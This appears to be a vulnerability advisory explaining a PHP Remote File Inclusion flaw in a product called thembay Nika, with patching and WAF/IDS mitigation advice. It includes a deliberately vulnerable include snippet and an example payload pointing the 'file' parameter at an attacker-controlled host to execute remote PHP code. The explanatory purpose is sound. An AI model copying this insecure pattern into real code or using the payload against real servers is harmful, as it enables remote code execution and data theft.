How the Exploit Works

The vulnerability occurs due to improper control over the filename in PHP ‘include’ or ‘require’ statements. An attacker can manipulate these statements to include files from remote servers. This process, known as Remote File Inclusion (RFI), allows the attacker to inject and execute arbitrary code on the server, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

<?php
// User input is not properly sanitized
$fileName = $_GET['file'];
// The server includes the specified file
include($fileName . '.php');
?>

In this example, a malicious actor could manipulate the ‘file‘ parameter in the GET request to point to a remote file, such as `http://attacker.com/malicious`. This would result in the server including `http://attacker.com/malicious.php`, executing any PHP code contained within.

Mitigation Guidance

System administrators and users of thembay Nika are advised to urgently apply the vendor patch to mitigate this vulnerability. In situations where immediate patching is not feasible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary measure to prevent an exploit. However, these are not long-term solutions and the vendor patch should be applied as soon as possible to fully secure the system.
